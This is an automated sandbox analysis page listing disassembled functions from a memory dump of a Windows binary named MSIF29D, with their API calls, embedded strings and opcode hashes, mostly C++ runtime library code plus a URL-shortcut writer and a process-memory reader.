Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d45df35f10881d6221681adf7eefdf880ea19ec113d03b89221ba79bb02f15a8
Instruction ID: 152f0bfff9864eebfdae8eda2ae698db27fe0e44c652d36d04558285fe67ede1
Opcode Fuzzy Hash: d45df35f10881d6221681adf7eefdf880ea19ec113d03b89221ba79bb02f15a8
Instruction Fuzzy Hash: C5518272E0021AEFDF14CF99C941AEEBBB2EF89310F198059E905AB301C7349E50DB90

Function 00FD4920 Relevance: .1, Instructions: 76COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: 8d6ba950da5060203e5dc1ad51ad5a2c955c352f83fca87f2a846220f33badeb
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 911108B7A0118243D604C62FC4F46BBF397EBC633572D436BD0918BB58D232B945B602

Function 00FEAD78 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2864318f6dce3f34aa64f3b9f5968b0c36cd4cfae0ffe164939727a64b01d4d1
Instruction ID: dd7c907c8e94a01b282d020189ca7fdb6495609aaf6e016723efb581059e3c44
Opcode Fuzzy Hash: 2864318f6dce3f34aa64f3b9f5968b0c36cd4cfae0ffe164939727a64b01d4d1
Instruction Fuzzy Hash: 7EE08C72911278EBCB25DB9ACD0498AF3ECEB84B11B15049AF501D3500D274EE00E7D1

Function 00FE2DCC Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b3db29eff45ca403c5659c65b9b04778331e453842759ddf3eba89ef405327b8
Instruction ID: 3bd0540f3cdded602b8ceca1e69ef8a2f3b655de15f60298b6ffa8830b894959
Opcode Fuzzy Hash: b3db29eff45ca403c5659c65b9b04778331e453842759ddf3eba89ef405327b8
Instruction Fuzzy Hash: 2CC08C34801E8046CE3989118EB13A83358B791792F80058DC6030BA46D51EBC83F601

Function 00FD0116 Relevance: 30.3, APIs: 20, Instructions: 287COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FD011D
collate.LIBCPMT ref: 00FD0126

Part of subcall function 00FCEDF2: __EH_prolog3_GS.LIBCMT ref: 00FCEDF9
Part of subcall function 00FCEDF2: __Getcoll.LIBCPMT ref: 00FCEE5D

__Getcoll.LIBCPMT ref: 00FD016C
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00FD0180
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00FD0195
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00FD01D3
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00FD01E6
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00FD022C
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00FD0260
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00FD031B
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00FD032E
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00FD034B
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00FD0368
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00FD0385
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00FD02BD

Part of subcall function 00FB8C20: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8C50
Part of subcall function 00FB8C20: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB8C78

numpunct.LIBCPMT ref: 00FD03C4
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00FD03D4
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00FD0418

Part of subcall function 00FB6330: LocalAlloc.KERNEL32(00000040,?,00FC0E04,00000020,?,?,00FB9942,00000000,8F6E4A30,?,?,?,?,00FF50DD,000000FF), ref: 00FB6336

std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00FD042B
std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00FD0448

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: AddfacLocimp::_Locimp_std::locale::_$GetcollLockitstd::_$AllocH_prolog3H_prolog3_LocalLockit::_Lockit::~_collatenumpunct
String ID:
API String ID: 3717464618-0
Opcode ID: 0c2ec9af9443d2fa0a67c2404cf7e11cc105fc96e431faecb069a0ed403f45ae
Instruction ID: e7f95794f96f689f75710eb24aeb8b4f004f68cb2e99592818501368aecbd72e
Opcode Fuzzy Hash: 0c2ec9af9443d2fa0a67c2404cf7e11cc105fc96e431faecb069a0ed403f45ae
Instruction Fuzzy Hash: EA91E8B1D012116AE7207FF58C16BBF79AAEF41360F18441EF949A7382DE784901B7B2

Function 00FB6600 Relevance: 30.1, APIs: 13, Strings: 4, Instructions: 319filememoryCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?), ref: 00FB667E
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 00FB66D7
LocalAlloc.KERNEL32(00000040,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 00FB66E2
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 00FB66FE
WriteFile.KERNEL32(?,?,?,?,00000000,?,?,?,?,?,?,?,?,?,00FF49E5,000000FF), ref: 00FB67DB
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,00FF49E5,000000FF), ref: 00FB67E7
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,?,?,?,?,?,?,?,?,00FF49E5), ref: 00FB682F
LocalAlloc.KERNEL32(00000040,00000000,?,?,?,?,?,?,?,?,?,00FF49E5,000000FF), ref: 00FB684A
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,?,?,?,?,?,?,?,?,?,00FF49E5), ref: 00FB6867
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,00FF49E5,000000FF), ref: 00FB6891
ShellExecuteW.SHELL32(00000000,open,00000000,00000000,00000000,00000005), ref: 00FB68D8
ShellExecuteW.SHELL32(00000000,00000000,00000000,00000000,00000000,00000005), ref: 00FB692A
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,00FF49E5,000000FF), ref: 00FB695C

Strings

open, xrefs: 00FB68D1, 00FB68F0
-_.~!*'();:@&=+$,/?#[], xrefs: 00FB6757, 00FB676E
URL Shortcut content:, xrefs: 00FB6875
[InternetShortcut]URL=, xrefs: 00FB670A

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: ByteCharLocalMultiWide$AllocExecuteFileFreeShell$CloseCreateHandleWrite
String ID: -_.~!*'();:@&=+$,/?#[]$URL Shortcut content:$[InternetShortcut]URL=$open
API String ID: 2199533872-3004881174
Opcode ID: 2326d843ed15c86ca6992a6d252e776a62f8ffc6d68c8b0e6cc07fe8691e05de
Instruction ID: 6ce5f2ee8e287e51dbaaf4ffe6a2e25d20b34eeac624503f04cd30bf64fd2602
Opcode Fuzzy Hash: 2326d843ed15c86ca6992a6d252e776a62f8ffc6d68c8b0e6cc07fe8691e05de
Instruction Fuzzy Hash: 19B12471904248AFEB20DF65CC45BEEBBB9EF45710F244119E504EB2C1DB789A08DBA1

Function 00FD2B8C Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(0100DD3C,00000FA0,?,?,00FD2B6A), ref: 00FD2B98
GetModuleHandleW.KERNEL32(api-ms-win-core-synch-l1-2-0.dll,?,?,00FD2B6A), ref: 00FD2BA3
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00FD2B6A), ref: 00FD2BB4
GetProcAddress.KERNEL32(00000000,SleepConditionVariableCS), ref: 00FD2BC6
GetProcAddress.KERNEL32(00000000,WakeAllConditionVariable), ref: 00FD2BD4
CreateEventW.KERNEL32(00000000,00000001,00000000,00000000,?,?,00FD2B6A), ref: 00FD2BF7
DeleteCriticalSection.KERNEL32(0100DD3C,00000007,?,?,00FD2B6A), ref: 00FD2C13
CloseHandle.KERNEL32(00000000,?,?,00FD2B6A), ref: 00FD2C23

Strings

WakeAllConditionVariable, xrefs: 00FD2BCC
api-ms-win-core-synch-l1-2-0.dll, xrefs: 00FD2B9E
kernel32.dll, xrefs: 00FD2BAF
SleepConditionVariableCS, xrefs: 00FD2BC0

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: Handle$AddressCriticalModuleProcSection$CloseCountCreateDeleteEventInitializeSpin
String ID: SleepConditionVariableCS$WakeAllConditionVariable$api-ms-win-core-synch-l1-2-0.dll$kernel32.dll
API String ID: 2565136772-3242537097
Opcode ID: e52d9d67b21900bbea50a1801de631c1f18d2b88e6513afc6ed18b7b187254da
Instruction ID: 64b594ed89f5558a4bd81c822cb47b3a6b47fd759452d93a26af139372123e23
Opcode Fuzzy Hash: e52d9d67b21900bbea50a1801de631c1f18d2b88e6513afc6ed18b7b187254da
Instruction Fuzzy Hash: 63019271A44715ABE7223FB5AC09E7A7B6D9F90760B040813B944D23A4DFB5C800F7B2

Function 00FD5CAF Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 304COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 00FD5DAC
type_info::operator==.LIBVCRUNTIME ref: 00FD5DCE
___TypeMatch.LIBVCRUNTIME ref: 00FD5EDD
IsInExceptionSpec.LIBVCRUNTIME ref: 00FD5FAF
_UnwindNestedFrames.LIBCMT ref: 00FD6033
CallUnexpected.LIBVCRUNTIME ref: 00FD604E

Strings

csm, xrefs: 00FD5D59
csm, xrefs: 00FD5CEC
csm, xrefs: 00FD5E05

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: ExceptionSpec$CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2123188842-393685449
Opcode ID: a4a7ac70f8908458997c2fb00cc0a96c92480dffbd1e6a81a929305c69643036
Instruction ID: 9d0a1ef6bf7f421c8e65edc9a1cc0d763319892deda5db622f876c27a3393fd2
Opcode Fuzzy Hash: a4a7ac70f8908458997c2fb00cc0a96c92480dffbd1e6a81a929305c69643036
Instruction Fuzzy Hash: 87B18A71C00609EFCF19DFA4C8859AEBBB6FF14720B18415BE815AB302D735DA51EBA1

Function 00FB4270 Relevance: 15.1, APIs: 10, Instructions: 137timeCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000400,00000000,?,8F6E4A30,?,?,?), ref: 00FB42D2
OpenProcess.KERNEL32(00000400,00000000,?,?,8F6E4A30,?,?,?), ref: 00FB42F3
GetProcessTimes.KERNEL32(00000000,?,00000000,00000000,00000000,?,8F6E4A30,?,?,?), ref: 00FB4326
GetProcessTimes.KERNEL32(00000000,?,00000000,00000000,00000000,?,8F6E4A30,?,?,?), ref: 00FB4337
CloseHandle.KERNEL32(00000000,?,8F6E4A30,?,?,?), ref: 00FB4355
CloseHandle.KERNEL32(00000000,?,8F6E4A30,?,?,?), ref: 00FB4371
CloseHandle.KERNEL32(00000000,?,8F6E4A30,?,?,?), ref: 00FB4399
CloseHandle.KERNEL32(00000000,?,8F6E4A30,?,?,?), ref: 00FB43B5
CloseHandle.KERNEL32(00000000,?,8F6E4A30,?,?,?), ref: 00FB43D3
CloseHandle.KERNEL32(00000000,?,8F6E4A30,?,?,?), ref: 00FB43EF

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: CloseHandle$Process$OpenTimes
String ID:
API String ID: 1711917922-0
Opcode ID: cfebd93b5dc6fccff4235e96efa8a1f087bbff79b7c1f12e37a72ca91e74004c
Instruction ID: 99556ce95d3ca1676ac8dad900e4ae6c3fbf15702b0059994e5a2a16e6e25431
Opcode Fuzzy Hash: cfebd93b5dc6fccff4235e96efa8a1f087bbff79b7c1f12e37a72ca91e74004c
Instruction Fuzzy Hash: 5B515E70D01218EBDB15DF99DA84BEEFBF8BF48724F284219E510B72C0C7745905ABA8

Function 00FCBBBD Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 325COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FCBBC4

Part of subcall function 00FC254E: __EH_prolog3.LIBCMT ref: 00FC2555
Part of subcall function 00FC254E: std::_Lockit::_Lockit.LIBCPMT ref: 00FC255F
Part of subcall function 00FC254E: std::_Lockit::~_Lockit.LIBCPMT ref: 00FC25D0

Strings

%I : %M : %S %p, xrefs: 00FCBF1F
%H : %M : %S, xrefs: 00FCBD5D
%b %d %H : %M : %S %Y, xrefs: 00FCBE52
%d / %m / %y, xrefs: 00FCBEFA
%H : %M, xrefs: 00FCBD03
:AM:am:PM:pm, xrefs: 00FCBF2A
%m / %d / %y, xrefs: 00FCBCBB

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: H_prolog3Lockitstd::_$Lockit::_Lockit::~_
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 1538362411-2891247106
Opcode ID: 74ac6bc5fcebfb1c9b50c0b754af575ab53974c38b54275c1ba73d1c7401f7c3
Instruction ID: 8c353d4cef95fe407add098ce45a0714e423aac55738dc24599a01138393a9df
Opcode Fuzzy Hash: 74ac6bc5fcebfb1c9b50c0b754af575ab53974c38b54275c1ba73d1c7401f7c3
Instruction Fuzzy Hash: ADB17D7A90010BAACF19DFA8CE67FFE3BA9EB04710F04411DFA06A2251D731CA10EB50

Function 00FD0C9D Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 325COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FD0CA4

Part of subcall function 00FB9270: std::_Lockit::_Lockit.LIBCPMT ref: 00FB92A0
Part of subcall function 00FB9270: std::_Lockit::_Lockit.LIBCPMT ref: 00FB92C2
Part of subcall function 00FB9270: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB92EA
Part of subcall function 00FB9270: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB9422

Strings

%I : %M : %S %p, xrefs: 00FD0FFF
%H : %M : %S, xrefs: 00FD0E3D
%b %d %H : %M : %S %Y, xrefs: 00FD0F32
%d / %m / %y, xrefs: 00FD0FDA
%H : %M, xrefs: 00FD0DE3
:AM:am:PM:pm, xrefs: 00FD100A
%m / %d / %y, xrefs: 00FD0D9B

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 1383202999-2891247106
Opcode ID: 8c65112b6a99c69b515e1e84a820e5f9c05c3234292e39603d4e8b29c6e35f21
Instruction ID: e2ed8b734c3cd1da172260572ddbc5382001cb4a5aafb53817de21a49fc43c4e
Opcode Fuzzy Hash: 8c65112b6a99c69b515e1e84a820e5f9c05c3234292e39603d4e8b29c6e35f21
Instruction Fuzzy Hash: 2DB1607290010AABCF19EF68CD59FFE7BAAFF04310F18451AFA46A6351DA31D910EB51

Function 00FCBF7E Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 325COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00FCBF85

Part of subcall function 00FB8610: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8657
Part of subcall function 00FB8610: std::_Lockit::_Lockit.LIBCPMT ref: 00FB8679
Part of subcall function 00FB8610: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB86A1
Part of subcall function 00FB8610: std::_Lockit::~_Lockit.LIBCPMT ref: 00FB880E

Strings

%I : %M : %S %p, xrefs: 00FCC2E0
%H : %M : %S, xrefs: 00FCC11E
%b %d %H : %M : %S %Y, xrefs: 00FCC213
%d / %m / %y, xrefs: 00FCC2BB
%H : %M, xrefs: 00FCC0C4
:AM:am:PM:pm, xrefs: 00FCC2EB
%m / %d / %y, xrefs: 00FCC07C

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID: %H : %M$%H : %M : %S$%I : %M : %S %p$%b %d %H : %M : %S %Y$%d / %m / %y$%m / %d / %y$:AM:am:PM:pm
API String ID: 1383202999-2891247106
Opcode ID: 95fe4e4c952fbcef285cb152d5b64765af105ec3a0947c52b613c806a38631b5
Instruction ID: 5650a4cbfa6e0ba6abe19bcb4598de8ba8620093da50c865de635a35b6649710
Opcode Fuzzy Hash: 95fe4e4c952fbcef285cb152d5b64765af105ec3a0947c52b613c806a38631b5
Instruction Fuzzy Hash: A0B1807294010BAFCF19DEA4CE56FFE3BA9EB05750F14411DFA0AA2251D631CA10EB91

Function 00FB3C20 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 225libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00FB36D0: GetSystemDirectoryW.KERNEL32(?,00000105), ref: 00FB3735
Part of subcall function 00FB36D0: _wcschr.LIBVCRUNTIME ref: 00FB37C6

GetProcAddress.KERNEL32(?,NtQueryInformationProcess), ref: 00FB3CA8
ReadProcessMemory.KERNEL32(?,?,?,000001D8,00000000,00000000,00000018,00000000), ref: 00FB3D01
ReadProcessMemory.KERNEL32(?,?,?,00000048,00000000,?,000001D8,00000000,00000000,00000018,00000000), ref: 00FB3D7A
ReadProcessMemory.KERNEL32(?,?,00000000,?,00000000,?,?,?,00000000,?,?,?,00000048,00000000,?,000001D8), ref: 00FB3EB1
GetLastError.KERNEL32 ref: 00FB3F34
FreeLibrary.KERNEL32(?), ref: 00FB3F7B

Strings

1, xrefs: 00FB3F6C
NtQueryInformationProcess, xrefs: 00FB3CA2

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: MemoryProcessRead$AddressDirectoryErrorFreeLastLibraryProcSystem_wcschr
String ID: NtQueryInformationProcess$1
API String ID: 566592816-516888619
Opcode ID: 2ee2b2e1484be734a164e9febf6d71f0641a6b25d5ddd6762b78b9e8dc55729d
Instruction ID: 5e0d99eff680ccbdbe2947ff96fc84ca2d019cd3e596f8a1d02d6c1f0d96ef5b
Opcode Fuzzy Hash: 2ee2b2e1484be734a164e9febf6d71f0641a6b25d5ddd6762b78b9e8dc55729d
Instruction Fuzzy Hash: B8A14A70D04649DEDB20DF65CC48BEEBBF4BF48314F204599D449A7280EBB5AA88DF91

Function 00FC8555 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00FC855C
_Maklocstr.LIBCPMT ref: 00FC85C5
_Maklocstr.LIBCPMT ref: 00FC85D7
_Maklocchr.LIBCPMT ref: 00FC85EF
_Maklocchr.LIBCPMT ref: 00FC85FF
_Getvals.LIBCPMT ref: 00FC8621

Part of subcall function 00FC1CD4: _Maklocchr.LIBCPMT ref: 00FC1D03
Part of subcall function 00FC1CD4: _Maklocchr.LIBCPMT ref: 00FC1D19

Strings

true, xrefs: 00FC85D2
false, xrefs: 00FC85C0

Memory Dump Source

Source File: 00000004.00000002.2087129978.0000000000FB1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000004.00000002.2087115649.0000000000FB0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087162382.0000000000FF7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087188555.000000000100C000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.2087204347.0000000001010000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_fb0000_MSIF29D.jbxd

Similarity

API ID: Maklocchr$Maklocstr$GetvalsH_prolog3_
String ID: false$true
API String ID: 3549167292-2658103896
Opcode ID: fa1a893adb53e813f2c860df37aa8e1c478691c7d678ce98396c53cfaa667494
Instruction ID: e7abcff66ea015e47e5f39d761d07645d98a9c285bfc3858f77a38357360354d
Opcode Fuzzy Hash: fa1a893adb53e813f2c860df37aa8e1c478691c7d678ce98396c53cfaa667494
Instruction Fuzzy Hash: 12219FB2D00308AAEF04EFA1CD86FDE7B68BF05750F04810AF904DF282DA749950DBA1

Function 00FB9730 Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 398COMMON

Download Yara Rule

APIs

std::locale::_Init.LIBCPMT ref: 00FB9763

Part of subcall function 00FC0C94: __EH_prolog3.LIBCMT ref: 00FC0C9B
Part of subcall function 00FC0C94: std::_Lockit::_Lockit.LIBCPMT ref: 00FC0CA6
Part of subcall function 00FC0C94: std::locale::_Setgloballocale.LIBCPMT ref: 00FC0CC1
Part of subcall function 00FC0C94: std::_Lockit::~_Lockit.LIBCPMT ref: 00FC0D17

std::_Lockit::_Lockit.LIBCPMT ref: 00FB978A
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 00FB97F0
std::locale::_Locimp::_Makeloc.LIBCPMT ref: 00FB984A

Part of subcall function 00FBF57A: __EH_prolog3.LIBCMT ref: 00FBF581
Part of subcall function 00FBF57A: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00FBF5C8
Part of subcall function 00FBF57A: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00FBF620
Part of subcall function 00FBF57A: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00FBF654
Part of subcall function 00FBF57A: std::locale::_Locimp::_Locimp_Addfac.LIBCPMT ref: 00FBF6A8

LocalFree.KERNEL32(00000000,00000000,?,010054B1,00000000), ref: 00FB99BF
